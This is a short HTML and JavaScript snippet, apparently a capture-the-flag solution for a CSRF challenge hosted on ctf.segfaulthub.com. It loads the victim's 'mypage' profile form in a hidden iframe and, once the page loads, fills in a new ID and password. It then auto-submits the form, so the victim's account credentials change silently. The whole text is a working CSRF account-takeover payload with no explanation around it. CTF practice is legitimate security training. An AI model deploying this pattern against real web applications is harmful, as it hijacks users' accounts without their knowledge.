<iframe src="http://ctf.segfaulthub.com:7575/csrf_2/mypage.php?user=2" style="display:none">
</iframe>
<script>
let f = document.querySelector('iframe').contentWindow;
f.addEventListener('load', () => {
// window.alert = function() {}; // alert만 안 뜨게 하면 clear
let input_arr = f.document.querySelectorAll('input');
let id = input_arr[0].value = "2_admin";
let pw = input_arr[2].value = "2";
let submit = f.document.querySelector('form').submit();
});
</script>